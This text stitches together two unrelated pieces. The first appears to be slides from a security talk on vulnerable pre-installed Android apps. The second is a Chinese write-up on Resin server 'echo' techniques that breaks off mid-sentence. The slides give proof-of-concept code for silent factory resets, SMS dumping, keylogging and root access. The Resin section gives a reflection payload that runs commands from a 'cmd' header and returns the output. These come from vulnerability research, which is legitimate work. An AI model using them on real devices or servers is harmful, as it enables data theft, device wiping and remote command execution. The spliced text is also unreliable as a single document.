Wireless) – Write modem and logcat logs to external storage – Programmatic factory reset – Make device continually crash in recovery mode 7 ZTE – Modem Log and Logcat Log Vulnerability allows any app to access text messages and call data and logcat logs – Can be activated by any app on the device – Transparent to the user (no notifications, toast messages, etc.) Writes to a base directory of /sdcard/sd_logs – Modem log stored in qmdl format and logcat log in plaintext Present in all the ZTE devices we examined – ZTE Blade Spark, ZTE Blade Vantage, ZTE ZMAX Pro, ZTE ZMAX Champ 8 Source: https://www.amazon.com/Unlocked-Fingerprint-Reader-Z971-Desbloqueado/dp/B0748Z1VJ3 Sample Data Leaked Through Logcat Data written to the logcat log by any process – Login credentials, tokens, etc. Body of sent and received text messages Phone number of received and placed calls GPS Coordinates Email Addresses Telephone number Cell Tower ID MAC Address Serial Number IMEI IMSI URLs 9 Exposing User Data Through Logcat Logs Third-party Android apps cannot read the system-wide logcat log since Android 4.1 due to it containing sensitive user data – Can only read the log messages they write – System-wide log requires READ_LOGS permission Pre-installed apps can expose log data to other apps – Generally written to external storage (SD card), although a app’s private directory is also possible Any app with the READ_EXTERNAL_STORAGE permission can read from external storage (i.e., SD card) – Contains the user’s pictures, downloads, and arbitrary files 10 Device Carrier ZTE Blade Spark AT&T ZTE Blade Vantage Verizon ZTE ZMAX Pro T-Mobile ZTE ZMAX Champ Total Wireless LG G6 Multiple Carriers LG Phoenix 2 AT&T Vivo V7 Unlocked LG X Power Unlocked LG Q6 Unlocked Asus ZenFone 3 Max Unlocked Orbic Wonder Unlocked ZTE – Activating the Modem Log 11 ZTE – Modem Log – Text Messages Outgoing text message to 7035758208 with a message of “Test. Can you text me back?” Incoming text message from 7035758208 with a message of “Sucka” with a timestamp of 3:04:43pm on March 11, 2018 12 00e89b60 e0 00 01 09 05 00 07 63 33 59 01 30 00 06 00 07 |.......c3Y.0....| 00e89b70 91 31 21 13 94 18 f0 24 01 01 0a 81 07 53 57 28 |.1!....$....E..!| 00e89b80 80 00 00 1b d4 f2 9c ee 02 0d c3 6e 50 fe 5d 07 |`..........nP.].| 00e89b90 d1 cb 78 3a a8 5d 06 89 c3 e3 f5 0f 33 6a 7e 92 |..x:.]......3j~.| 019928b0 29 00 09 01 25 01 e0 07 91 21 04 44 29 61 f6 00 |)...%....!.D)a..| 019928c0 19 04 0b 91 71 30 75 85 02 f8 00 00 81 30 11 51 |....Q.x......0.Q| 019928d0 40 34 69 06 d3 fa 78 1d 06 01 00 1b 22 7e 79 00 |@4i...x....."~y.| ZTE – Modem Log – Call log Incoming call from 7034227613 Outgoing call to 18008648331 13 03d3eda0 10 00 7a 01 7a 01 c1 12 17 27 37 f5 c9 6a e0 00 |..z.z....'7..j..| 03d3edb0 03 00 00 00 00 11 00 00 00 07 00 00 00 01 00 00 |................| 03d3edc0 00 00 00 00 00 37 30 33 34 32 32 37 36 31 33 66 |.....7034227613f| 03d3edd0 50 11 00 00 f0 af 68 00 90 98 00 00 80 48 69 00 |P.....h......Hi.| 03d3ede0 d0 b6 e5 ff 00 00 00 00 40 86 02 00 10 f9 ff ff |........@.......| 03334a20 80 a0 70 c5 c9 6a e0 00 03 38 00 00 00 11 00 00 |..p..j...8......| 03334a30 00 06 00 00 00 01 00 00 00 00 00 00 00 31 38 30 |.............180| 03334a40 30 38 36 34 38 33 33 31 00 00 54 0e 60 34 c6 1b |08648331..T.`4..| 03334a50 00 00 03 00 50 89 00 80 00 00 00 00 00 00 00 00 |....P...........| 03334a60 d0 06 7f 02 00 00 00 00 00 00 00 00 30 0d 28 0a |............0.(.| LG Vulnerabilities Obtain system-wide logcat log in attacking app’s private directory – Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2 – Generally written to SD card, but using path traversal it can be written in the attacking app’s private directory Lock user out of their device – Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2 – Can only make emergency calls Dump hidden database that contain logcat and kernel logs to external storage – Affects LG G6, LG Q6 14 Source: https://www.amazon.com/LG-G6-32-GB-Unlocked-Exclusive/dp/B07D2JL7TS LG – Read System-wide Logcat Log Via Command Line Argument Injection Default command the com.lge.gnsslogcat app executes is logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V By default it writes the logs to /storage/emulated/0/gnsslog, but it is vulnerable to a path traversal attack and can be made to write in an app’s private directory (file permission changes needed) App allows log tags to be supplied via intent that get :V appended to it which get added to the end of logcat command, so you can add *:V Hidden to get all log messages Command line argument injection changes the command to logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V *:V Hidden:V 15 LG – Lock The User Out of Their Device Screen lock is unresponsive except for making emergency calls – Exported broadcast receiver in com.android.systemui app • Writes two values to the system settings and locks the screen – Screen lock is active in safe mode – Can be used for a crypto-less ransomware – Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2 If ADB is enabled prior to the screen lock, a user can remove the screen lock by sending a particular broadcast intent – Otherwise, a factory reset is required to recover the device 16 Programmatic Factory Reset A “factory reset” wipes all user data and apps from the device Facilitated by privileged pre-installed apps – Requires a co-located zero-permission app – Does not require any user intervention User data and app that are not externally backed-up is lost during a factory reset 17 Device Carrier Essential Phone Sprint Coolpad Defiant T-Mobile T-Mobile Revvl Plus T-Mobile ZTE ZMAX Champ Total Wireless Leagoo Z5C Unlocked Leagoo P1 Unlocked Plum Compass Unlocked Orbic Wonder Unlocked MXQ TV Box 4.4.2 N/A Sprint Essential Phone – Programmatic Factory Reset 18 AndroidManifest.xml file of the com.asus.splendidcommandagent app <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:sharedUserId="android.uid.system" package="com.asus.splendidcommandagent" platformBuildVersionCode="18" platformBuildVersionName="4.3.1- 1425645"> <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/> <uses-permission android:name="android.permission.MANAGE_USERS"/> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme"> <service android:exported="true" android:name=".SplendidCommandAgentService" android:process="com.asus.services"> <intent-filter> <action android:name="asus.splendid.intent.action.DO_COMMAND"/> <action android:name="com.asus.splendidcommandagent.ISplendidCommandAgentService"/> </intent-filter> </service> <service android:exported="true" android:name=".MonitorUserSwitchedService" android:process="com.asus.services"/> </application> 19 Asus ZenFone V Live – Command Execution as system User private void asus_zenfone_V_live_command_execution_as_system_user() { Intent i = new Intent(); i.setClassName("com.asus.splendidcommandagent", "com.asus.splendidcommandagent.SplendidCommandAgentService"); SplendidServiceConnection servConn = new SplendidServiceConnection(); boolean ret = bindService(i, servConn, BIND_AUTO_CREATE); Log.i(TAG, "initService() bound with " + ret); } class SplendidServiceConnection implements ServiceConnection { public void onServiceConnected(ComponentName name, IBinder boundService) { Log.i(TAG, "onserviceConnected"); Parcel send = Parcel.obtain(); Parcel reply = Parcel.obtain(); send.writeInterfaceToken("com.asus.splendidcommandagent.ISplendidCommandAgentService"); send.writeString("am broadcast -a android.intent.action.MASTER_CLEAR"); try { boolean success = boundService.transact(1, send, reply, Binder.FLAG_ONEWAY); Log.i(TAG, "binder transaction success=" + success); } catch (RemoteException e) { e.printStackTrace(); } send.recycle(); reply.recycle(); } public void onServiceDisconnected(ComponentName arg0) { Log.i(TAG, "onServiceConnected"); } } 20 Asus ZenFone V Live – Command Execution as system User Source: https://www.verizonwireless.com/smartphones/asus-zenfone-v-live/ system User Capabilities on Android 7.1.1 • Video Record Screen of the user • Take screenshots • Factory reset the device • Use logcat to obtain system-wide logs • Set a custom keyboard with keylogging functionality • Change settings configurations • Register an app as a notification listener to get the user’s notifications • Enable/disable apps • Invert the screen colors • Call (emergency) phone numbers • Set a custom spell checker • Change certain system properties • Inject clicks, swipes, and text events in the GUI (emulate the user) • Launch any app component that does not have android:enabled attribute set to false • Read/modify user’s text messages • Read/modify user’s call log • Read/modify user’s contacts 21 Sample of Asus Android Devices – Command Execution as system User Device Status Build Fingerprint Asus ZenFone V Live (Verizon) Vulnerable asus/VZW_ASUS_A009/ASUS_A009:7.1.1/NMF26F/14.0610.1802.78- 20180313:user/release-keys Asus ZenFone 3 Max Vulnerable asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92- 20171208:user/release-keys Asus ZenFone 3 Ultra Vulnerable asus/JP_Phone/ASUS_A001:7.0/NRD90M/14.1010.1711.64- 20171228:user/release-keys Asus ZenFone 4 Max Vulnerable asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232- 20180301:user/release-keys Asus ZenFone 4 Max Pro Vulnerable asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232- 20180301:user/release-keys Asus ZenFone 4 Selfie Vulnerable asus/WW_Phone/ASUS_X00LD_3:7.1.1/NMF26F/14.0400.1802.190- 20180202:user/release-keys Asus ZenFone Live Vulnerable asus/WW_Phone/zb501kl:6.0.1/MMB29P/13.1407.1801.57- 20180307:user/release-keys Asus ZenPad 10 Vulnerable asus/JP_P00C/P00C_2:7.0/NRD90M/JP_P00C-V5.3.20- 20171229:user/release-keys Asus ZenPad 3 8.0 Vulnerable asus/WW_P008/P008_1:7.0/NRD90M/WW_P008-V5.7.3- 20180110:user/release-keys Asus ZenPad S 8.0 Not Vulnerable asus/WW_P01M/P01M:6.0.1/MMB29P/WW_P01M-V5.6.0- 20170608:user/release-keys 22 Asus ZenFone 3 (ZE552KL) – Timeline for the Command Execution as system User Vulnerability 23 Target Market Release Date Status Build Fingerprint Japan 05/21/18 Vulnerable asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1804.60-0:user/release-keys Worldwide 05/16/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1804.60-0:user/release-keys Worldwide 05/03/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1803.55-0:user/release-keys Worldwide 04/19/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1803.53-0:user/release-keys Japan 04/19/18 Vulnerable asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1803.52-0:user/release-keys China 03/23/18 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.201 0.1801.197-20180302:user/release-keys Worldwide 03/14/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1802.44-0:user/release-keys Worldwide 02/12/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1801.40-0:user/release-keys China 02/12/18 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.201 0.1801.196-20180108:user/release-keys Worldwide 01/29/18 Vulnerable asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0 26/15.0410.1801.40-0:user/release-keys Japan 01/11/18 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1712.85-20171228:user/release-keys Worldwide 01/08/18 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1712.85-20171228:user/release-keys Worldwide 12/22/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1711.83-20171220:user/release-keys Worldwide 12/15/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1711.79-20171206:user/release-keys Japan 11/22/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1711.75-20171115:user/release-keys Worldwide 11/21/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020. 1711.75-20171115:user/release-keys Target Market Release Date Status Build Fingerprint Worldwide 10/13/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1709.68-20171003:user/release-keys China 09/06/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 10.1706.184-20170817:user/release-keys Japan 08/08/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1708.56-20170719:user/release-keys Worldwide 08/03/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1708.56-20170719:user/release-keys China 07/24/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 10.1706.181-20170710:user/release-keys Worldwide 07/14/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1706.53-20170628:user/release-keys Italy 06/29/17 Vulnerable asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.202 0.1704.41-20170526:user/release-keys Japan 05/17/17 Vulnerable asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1703.33-20170424:user/release-keys Worldwide 04/21/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020 .1703.28-20170410:user/release-keys China 03/31/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 10.1701.170-20170323:user/release-keys Italy 03/28/17 Vulnerable asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.201 5.1701.13-20170310:user/release-keys Worldwide 03/08/17 Vulnerable asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2015 .1701.8-20170222:user/release-keys Japan 02/24/17 Not Vulnerable asus/JP_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 10.1612.161-20170205:user/release-keys China 01/09/17 Not Vulnerable asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 .10.150-20161214:user/release-keys Worldwide 12/28/2016 Not Vulnerable asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 .10.152-20161222:user/release-keys Worldwide 12/08/2016 Not vulnerable asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20 .10.140-20161117:user/release-keys @Override public int onStartCommand(final Intent intent, int flags, int startId) { new Thread() { public void run() { if (intent == null) { stopSelf(); return; } String action = intent.getStringExtra("action"); if (action.isEmpty()) { action = intent.getAction(); } Log.i("DropboxChmodService", "action = [" + action + "]"); if (action.isEmpty()) { stopSelf(); return; } try { Process process = Runtime.getRuntime().exec(action); Log.i("DropboxChmodService", "wait begin"); process.waitFor(); Log.i("DropboxChmodService", "wait end"); } catch (Exception e) { e.printStackTrace(); } } }.start(); return super.onStartCommand(intent, flags, startId); } Oppo F5 (Non-US Carriers) – Command Execution as system User com.dropboxchmod app exposes this capability through an exported service named DropboxChmodService – Simple app containing only one class with a single nested anonymous class Recreated source code based on the disassembled odex file 24 Intent i = new Intent(); i.setClassName("com.dropboxchmod", "com.dropboxchmod.DropboxChmodService"); i.setAction("/system/bin/screenrecord --time-limit 60 /sdcard/notascreenrecording.mp4"); startService(i); Source: https://www.flipkart.com/oppo- f5-red-64-gb/p/itmezq6rgu7uhcf4 Approach 1: Transfer Command Output Using a Broadcast Receiver 1. Choose log tag (e.g., UQ2h9hVRhLfg) and register a broadcast receiver with it as an action string 2. Write lines of the script with selected log tag to the logcat log from the attacking app Log.d("UQ2h9hVRhLfg", "#!/bin/sh"); Log.d("UQ2h9hVRhLfg", "content query --uri content://sms > /data/data/com.dropboxchmod/msg.txt"); Log.d("UQ2h9hVRhLfg", "am broadcast -a UQ2h9hVRhLfg -p <attacking app’s package name> --es data \"$(cat /data/data/com.dropboxchmod/msg.txt)\""); 3. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh -d chmod 770 /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh sh /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh 25 Approach 2: Transfer Command Output Using a File in App’s Directory 1. Choose log tag with high entropy (e.g., UQ2h9hVRhLfg) 2. Make attacking app’s private directory world-executable and create a globally writable and readable file (msg.txt) 3. Write lines of the script with selected log tag to the log from the attacking app Log.d("UQ2h9hVRhLfg", "#!/bin/sh"); Log.d("UQ2h9hVRhLfg", "content query --uri content://sms > /data/data/com.attacking.app/msg.txt"); 4. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh -d chmod 770 /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh sh /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh 26 Sample of Oppo Android Devices – Command Execution as system User Device Country Status Build Description A77 China Vulnerable msm8953_64-user 7.1.1 NMF26F eng.root.20180609.153403 dev-keys A59S China Vulnerable full_oppo6750_15131-user 5.1 LMY47I 1525865236 dev-keys A57 Philippines Vulnerable msm8937_64-user 6.0.1 MMB29M eng.root.20180508.104025 release-keys R11 China Vulnerable sdm660_64-user 7.1.1 NMF26X eng.root.20180426.130343 release-keys F3 Plus Pakistan Vulnerable msm8952_64-user 6.0.1 MMB29M eng.root.20180413.004413 release-keys A39 Australia Vulnerable full_oppo6750_16321-user 5.1 LMY47I 1520521221 release-keys R9 China Vulnerable full_oppo6755_15111-user 5.1 LMY47I 1519426429 dev-keys A77 Australia Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys F3 Vietnam Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys F3 Pakistan Vulnerable full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys R9 Australia Vulnerable full_oppo6755_15311-user 5.1 LMY47I 1516344361 release-keys F5 Malaysia Vulnerable full_oppo6763_17031-user 7.1.1 N6F26Q 1516160348 release-keys F1S Australia Vulnerable full_oppo6750_15331-user 5.1 LMY47I 1509712532 release-keys A37 India Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20171008.172519 release-keys R7 Plus India Not Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20160922.193102 dev-keys Neo 5 Australia Not Vulnerable OPPO82_15066-user 4.4.2 KOT49H eng.root.1469846786 dev-key R7S China Vulnerable msm8916_64-user 5.1.1 LMY47V eng.root.20160713.211744 dev-keys R7 Plus China Not Vulnerable full_oppo6795_15019-user 5.0 LRX21M 1465722913 dev-keys 27 Setting Your App as the Default Keyboard for Some Keylogging Have the attacking app implement an Input Method Editor (IME) /system/bin/settings put secure enabled_input_methods <ones that were already there>:com.my.app/.NotSomeKeyboardService /system/bin/settings put secure default_input_method com.my.app/.NotSomeKeyboardService Send key presses to the attacking app via a sending a broadcast intent to a dynamically-registered broadcast receiver Can also set your app as the default spell checker – Does not get the same amount of data as the “custom” keyboard /system/bin/settings put secure selected_spell_checker com.my.app/.NotSomeSpellingService 28 Analysis Framework Workflow 29 Exposed Screenshot Capability Certain vendors have modified the Android OS (system_server) to export the screenshot capability to any app on the device – Alcatel A30, Asus Zenfone 3 Max, Leagoo P1, Nokia 6 TA-1025, Asus ZenFone V Live & Sony Xperia L1 Malicious apps can open apps to obtain sensitive data and examine active notifications – Requires READ_EXTERNAL_STORAGE permission to access the screenshot and EXPAND_STATUS_BAR to view current notifications Taking of a screenshot is not transparent to the user – A screen animation is displayed and creates a notification – Cannot be disabled, as the functionality lies within system_server – Attacking app can cause a system crash to remove the notification – Can bypass screen lock by using certain WindowManager.LayoutParams flags 30 Insecure Rich Communication Services (RCS) App 31 Source: https://www.t-mobile.com/devices/t-mobile-revvl-plus Exported interfaces allow zero-permission app to send arbitrary text messages, read and modify text messages, and obtain phone numbers of the user’s contacts App has two different package names, where one is a refactored version of the other – com.rcs.gsma.na.sdk – com.suntek.mway.rcs.app.service Affects 3 T-Mobile devices: Coolpad Defiant, T-Mobile Revvl Plus, and ZTE ZMAX Pro App cannot be disabled Insecure Rich Communication Services (RCS) App 32 <receiver android:exported="true" android:name="com.rcs.gsma.na.test.TestReceiver"> <intent-filter> <action android:name="com.rcs.gsma.na.sdk.TestReceiver"/> </intent-filter> </receiver> <provider android:authorities="com.rcs.gsma.na.provider.capability" android:exported="true" android:name="com.rcs.gsma.na.provider.capability.CapabilityProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.groupchat_member" android:exported="true" android:name="com.rcs.gsma.na.provider.groupchat.GroupChatMemberProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.groupchat" android:exported="true" android:name="com.rcs.gsma.na.provider.groupchat.GroupChatProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.message" android:exported="true" android:name="com.rcs.gsma.na.provider.message.MessageProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.threads" android:exported="true" android:name="com.rcs.gsma.na.provider.thread.ThreadProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.spamnumber" android:exported="true" android:name="com.rcs.gsma.na.provider.spam.SpamNumberProvider"/> <provider android:authorities="com.rcs.gsma.na.provider.spammessage" android:exported="true" android:name="com.rcs.gsma.na.provider.message.SpamMessageProvider"/> Send arbitrary text messages Obtain phone number of user’s contacts Read, modify, delete, and insert user’s text messages ZTE ZMAX Champ Vulnerabilities Programmatic factory reset – com.zte.zdm.sdm app writes --wipe_data to /cache/recovery/command and boots into recovery mode and wipes /data and /cache Obtain logcat and modem logs – Done in the same way described as previously for ZTE “Brick” Device – Device will boot into recovery mode, try to factory reset, crash, and repeat and repeat some more 33 Source: https://www.zteusa.com/zmax-champ ZTE ZMAX Champ – Brick Device 34 Unlocked Alcatel A30 – Local root Privilege Escalation Alcatel A30 was an Amazon Prime Exclusive device – Had discounted price due to the inclusion of Amazon offers and ads Certain read-only properties can be modified at runtime allowing a socket that accepts and executes arbitrary commands as the root user – Can be performed via ADB or pre-installed platform apps that execute as the system user 35 Source: https://www.amazon.com/gp/product/B01NC2RECJ adb shell setprop ro.debuggable 1 adb shell setprop ro.secure 0 adb root adb shell setenforce 0 adb shell Unlocked Alcatel A30 – Socket that Executes Commands as root Once the ro.debuggable property is set to 1, then a world-writable socket named factory_test gets created – Receives and executes commands as root The system user, including platform apps, can change the ro.debuggable property so that the factory_test socket gets created 36 MICKEY6US:/dev/socket # ls –al total 0 drwxr-xr-x 7 root root 760 2017-05-10 17:58 . drwxr-xr-x 15 root root 4220 2017-05-10 17:55 .. srw-rw---- 1 system system 0 2017-05-10 17:58 adbd srw-rw---- 1 root inet 0 1970-11-08 00:12 cnd srw-rw---- 1 root mount 0 1970-11-08 00:12 cryptd srw-rw---- 1 root inet 0 1970-11-08 00:12 dnsproxyd srw-rw---- 1 root system 0 1970-11-08 00:12 dpmd srw-rw---- 1 system inet 0 2017-05-10 17:55 dpmwrapper srw-rw-rw- 1 root root 0 2017-05-10 17:58 factory_test on property:ro.debuggable=1 start bt_wlan_daemon service bt_wlan_daemon /system/bin/factory_test user root group root oneshot seclabel u:r:bt_wlan_daemon:s0 Takeaways - Towards More Secure Apps Don’t export app components unnecessarily - enforce proper access control Don’t assume apps without an accompanying Android Definition Interface Language (AIDL) file cannot interact with a bound service…they can Filter commands when allowing command execution as system user Make it easier to report vulnerabilities by having a common email address such as security@<vendor>.com Thanks for attending and read our full report for more details! (email at [email protected]) 37 Leagoo P1 & Leagoo Z5C (Unlocked) Leagoo P1 - Android 7.0 – Take a screenshot and write to SD card – Programmatic factory reset – Local root privilege escalation via ADB Leagoo Z5C - Android 6.0 – Send arbitrary text messages • Modified com.android.messaging app – Read the most recent text message from each conversation • Modified com.android.messaging app – Programmatic factory reset • Modified com.android.settings app 38 adb shell setprop ro.debuggable 1 adb shell setprop ro.secure 0 adb root adb shell setenforce 0 adb shell Source: https://www.amazon.co.uk/LEAGOO-Z5C-Android-smartphone-1-3GHz/dp/B06X3QLCGY Exposing Capability to Set System Properties App named com.qualcomm.qti.modemtestmode allows any app to set certain properties as the com.android.phone user – Presumably a development/debugging app that should not be included in production builds <service android:exported="true" android:name=".MbnTestService" android:process="com.android.phone"/> Bound service that takes key/value pair for system properties – android.os.SystemProperties.set(String, String) Setting properties is constrained by SELinux rules – Works for persist.* properties which survive reboots 39 Vivo V7 (Non-US Carriers) Vulnerabilities Dumps logcat, Bluetooth, and kernel logs to external storage – Leaves a notification while logging, but logging app cannot be disabled Set properties as the com.android.phone user – Can enable screen touch coordinates to be written to the logcat log Record the screen for 60 minutes to attacking app’s directory – A notification and icon appears but can be removed quickly – Can initiate screen-recording while screen is off to remove any disturbance on the screen 40 Source: https://www.vivo.com/my/products/v7 Vivo V7 (Non-US Carriers) Vulnerabilities 41 The 60 minute interval is set by the com.vivo.smartshot app – Screen recording is performed by the /system/bin/smartshot binary Intent i = new Intent(); i.setAction("vivo.action.ACTION_START_RECORD_SERVICE"); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); i.putExtra("vivo.flag.vedio_file_path", "/data/data/com.attacking.app/screen.mp4"); i.putExtra("show_top_stop_view", false); startService(i); try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();} i = new Intent(); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); stopService(i); try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();} i = new Intent("vivo.acton.ACTION_CHANGE_TOP_STOP_VIEW"); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); i.putExtra("show_top_stop_view", false); startService(i); Starts recording Removes notification Ensures at least one app component is running in the app, so it is less likely to get killed Requires changing permissions on the directory and file Orbic Wonder (Unlocked) Vulnerabilities Exposes sensitive functionality to any app on the device – Wipe all user data (factory reset) – Continuously monitor the logcat log to obtain • GPS coordinates • Email addresses • Unique device identifiers • Body of incoming/outgoing text messages • Phone numbers for incoming/outgoing calls and text messages Vulnerabilities can be used to bypass two-factor authentication and obtain password resets texts Source: https://www.bestbuy.com/site/orbic-wonder-4g-lte- with-16gb-memory-cell-phone-unlocked-black/6070202.p ?skuId=6070202 42
pdf
回显 Resin 4.x 在resin 4.X中跟一下如何获取response对象 com.caucho.server.http.HttpRequest#handleRequest com.caucho.server.http.AbstractHttpRequest#getResponseFacade 返回 response 对象 所以如果能获取到AbstractHttpRequest对象并调用该对象的getResponseFacade方法,即可获取 response对象。 获取AbstractHttpRequest对象,继承关系如下: CTRL + H 基于 TcpSocketLink com.caucho.network.listen.TcpSocketLink 通过反射从 _currentRequest 获取到request对象 测试发现实际上获取到的request对象为HttpRequest类型,而HttpRequest继承自 AbstractHttpRequest ,则可以调用getResponseFacade()方法获取response对象 回显思路 通过调用TcpSocketLink.getCurrentRequest()获取ProtocolConnection对象(实际 HttpRequest) 通过调用其父类(AbstractHttpRequest)的getResponseFacade方法获取response对象 通过反射调用reponse对象的getWriter方法获取PrintWriter对象 通过PrintWriter对象的write方法写入回显内容 代码实现 // 获取TcpSocketLink Class对象 Class tcpSocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.lis ten.TcpSocketLink"); // 通过反射调用getCurrentRequest方法 Method getCurrentRequestM = tcpSocketLinkClazz.getMethod("getCurrentRequest"); Object currentRequest = getCurrentRequestM.invoke(null); // 从父类(AbstractHttpRequest)中获取_responseFacade字段 Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade"); f.setAccessible(true); // 获取response对象 Object response = f.get(currentRequest); // 获取getWriter方法 Method getWriterM = response.getClass().getMethod("getWriter"); // 调用getWriter获取Writer对象 基于 ServletInvocation com.caucho.server.dispatch.ServletInvocation#getContextRequest 获取ContextRequest对象 实际获取到的为HttpServletRequestImpl对象 com.caucho.server.http.HttpServletRequestImpl#_response 获取到HttpServletRequestImpl对象后,通过_response字段获取到response对象。 运行时截图 Writer writer = (Writer)getWriterM.invoke(response); // 获取getHeader方法 Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); // 调用getHeader获取到通过需执行的命令:cmd String cmd = (String)getHeaderM.invoke(currentRequest, "cmd"); // 执行命令 Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A"); // 写入命令执行结果并回显 writer.write(scanner.hasNext() ? scanner.next() : ""); 回显思路 反射调用ServletInvocation.getContextRequest()获取HttpServletRequestImpl对象 反射获取_response字段得到response对象 反射调用reponse对象的getWriter方法获取PrintWriter对象 通过PrintWriter对象的write方法写入需回显内容 代码实现 Resin 3.x 在resin 3.X中跟一下如何获取response对象 com.caucho.server.http.HttpRequest#handleRequest // 反射调用ServletInvocation.getContextRequest()获取HttpServletRequestImpl对象 Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.disp atch.ServletInvocation").getMethod("getContextRequest").invoke(null); // 反射获取_response字段(response对象) Field _responseF = currentRequest.getClass().getDeclaredField("_response"); _responseF.setAccessible(true); Object response = _responseF.get(currentRequest); // 获取getWriter方法 Method getWriterM = response.getClass().getMethod("getWriter"); // 调用getWriter获取Writer对象 Writer writer = (Writer)getWriterM.invoke(response); // 获取getHeader方法 Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class); // 调用getHeader获取到通过需执行的命令:cmd String cmd = (String)getHeaderM.invoke(currentRequest, "cmd"); // 执行命令 Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A"); // 写入命令执行结果并回显 writer.write(scanner.hasNext() ? scanner.next() : ""); com.caucho.server.connection.AbstractHttpRequest#_response response 对象 所以如果能获取到AbstractHttpRequest对象,则可以反射获取该对象的_response字段(即 response对象)。 获取AbstractHttpRequest对象: 查看该类的继承关系,继承关系如下: CTRL + H 基于 ServletInvocation com.caucho.server.dispatch.ServletInvocation com.caucho.server.dispatch.ServletInvocation#getContextRequest 返回ServletRequest对象 实际获取到的为HttpRequest对象 com.caucho.server.connection.AbstractHttpRequest#_response 获取到HttpRequest对象,由于HttpRequest类中并没有保存_response对象,需要从父类 